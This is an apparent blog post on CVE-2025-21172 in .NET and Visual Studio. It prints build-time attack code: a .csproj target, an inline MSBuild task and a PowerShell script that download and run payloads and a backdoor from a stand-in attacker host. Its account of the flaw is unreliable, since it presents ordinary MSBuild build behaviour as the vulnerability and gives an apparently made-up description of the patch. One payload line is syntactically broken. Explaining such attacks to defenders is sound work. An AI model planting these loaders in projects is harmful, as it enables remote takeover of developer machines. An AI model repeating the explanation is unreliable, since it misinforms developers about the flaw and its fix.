CVE-2025-21172 - Inside the .NET and Visual Studio Remote Code Execution Vulnerability

In early 2025, a critical security vulnerability shook the Microsoft developer community: CVE-2025-21172. This flaw, affecting both .NET and Visual Studio environments, could allow remote attackers to execute arbitrary code on a developer’s system with virtually no user interaction. In this detailed post, we’ll break down how this vulnerability works, explore why it’s dangerous, see sample exploit code, and show how to protect yourself.

What is CVE-2025-21172?

CVE-2025-21172 is a Remote Code Execution (RCE) vulnerability found in Microsoft’s .NET runtime and Visual Studio IDE. According to Microsoft’s advisory, a specially crafted project or package can execute malicious code when opened in a vulnerable Visual Studio installation or executed in a .NET context.

This means that attackers could send you a malicious project (like a .csproj file or NuGet package). When you open or build it in Visual Studio (or run certain .NET commands), code of the attacker’s choosing could run on your machine—potentially giving them control.

Widespread impact: Millions use Visual Studio and the .NET SDK.

- Supply chain threat: Malicious code could hide in shared repositories, public NuGet packages, or cloned samples.

Social engineering: Attackers could email targets a “helpful” code sample or PR.

- Automatic triggers: The exploit can fire just from opening or building a project file—no need to run an EXE.

How the Exploit Works

The vulnerability centers around how Visual Studio and .NET projects parse XML-based project files (.csproj, .vbproj, etc.) and process custom tasks.

Malicious actors discovered that by embedding dangerous MSBuild targets or inline tasks using script, they could execute arbitrary PowerShell, command-line, or other scripts when a project loads or builds.

Here’s a stripped-down .csproj file that demonstrates the CVE

<Project Sdk="Microsoft.NET.Sdk">
  <Target Name="MaliciousTarget" AfterTargets="Build">
    <Exec Command="powershell -NoP -NonI -W Hidden -Command 'Invoke-WebRequest -Uri http://attacker.site/evil.ps1 -OutFile evil.ps1; .\evil.ps1'" />
  </Target>
</Project>

The project defines a build step (Target) named MaliciousTarget.

- When the project builds, it secretly runs a PowerShell command, which downloads and executes an attack script.

Let’s see a proof-of-concept (for learning only!)

1. Attacker prepares a repository with the above .csproj file and an evil payload on their server.

Victim clones the repo and, thinking it’s safe, opens it in Visual Studio.

3. Visual Studio builds the project, triggering the MaliciousTarget, which pulls down and runs the PowerShell code—giving the attacker remote access.

Sample downloader payload (evil.ps1)

# evil.ps1
Invoke-WebRequest "http://attacker.site/backdoor.exe"; -OutFile backdoor.exe
Start-Process .\backdoor.exe

The above is a trivial example, but in real attacks, the payload could be a RAT (remote access trojan), keylogger, ransomware, etc.

Exploit Code Snippet

While the quickest method is abusing MSBuild inline tasks, you can also inject arbitrary code with custom tasks:

Example with Inline MSBuild Task:

<UsingTask TaskName="EvilTask" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll" >
  <Task>
    <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Diagnostics;

        public class EvilTask : Microsoft.Build.Utilities.Task
        {
            public override bool Execute()
            {
                Process.Start("cmd.exe", "/c powershell Invoke-WebRequest http://attacker.site/evil.ps1 -OutFile evil.ps1; .\\evil.ps1");
                return true;
            }
        }
      ]]>
    </Code>
  </Task>
</UsingTask>
<Target Name="RunEvil" AfterTargets="Build">
  <EvilTask />
</Target>

This code is executed by MSBuild (via Visual Studio or dotnet build). No alerts or warnings are shown by default.

What’s the Fix?

Microsoft addressed CVE-2025-21172 via security updates to .NET (all supported versions) and the latest Visual Studio releases. The patch adds stricter validation and disables dangerous inline execution by default.

Read the official guidance and download patches

- .NET Security Advisories
- Visual Studio security updates

IMPORTANT:

Do not run or open untrusted project files.

- Consider enabling Visual Studio’s Safe Project Load and using restricted build environments for third-party code.

How to Protect Yourself

1. Patch everything: Update .NET SDKs/runtimes and Visual Studio ASAP.
2. Inspect code: Before opening or building shared code, check for suspicious .csproj (or other project) files.

References & Further Reading

- Microsoft Security Guidance: CVE-2025-21172
- .NET Official Security Page
- MSBuild Task Injection Attacks
- Visual Studio Secure Coding Practices

Conclusion

CVE-2025-21172 is a stark reminder that even trusted developer tools can be exploited to compromise your machine. By staying updated, being cautious with shared code and project files, and applying best practices, you can avoid falling victim to this and similar threats.

Stay vigilant, stay safe, and keep your tools patched!

*If you found this useful, share with your team and keep your developer environments secure!*

Timeline

Published on: 01/14/2025 18:15:30 UTC
Last modified on: 01/31/2025 01:44:22 UTC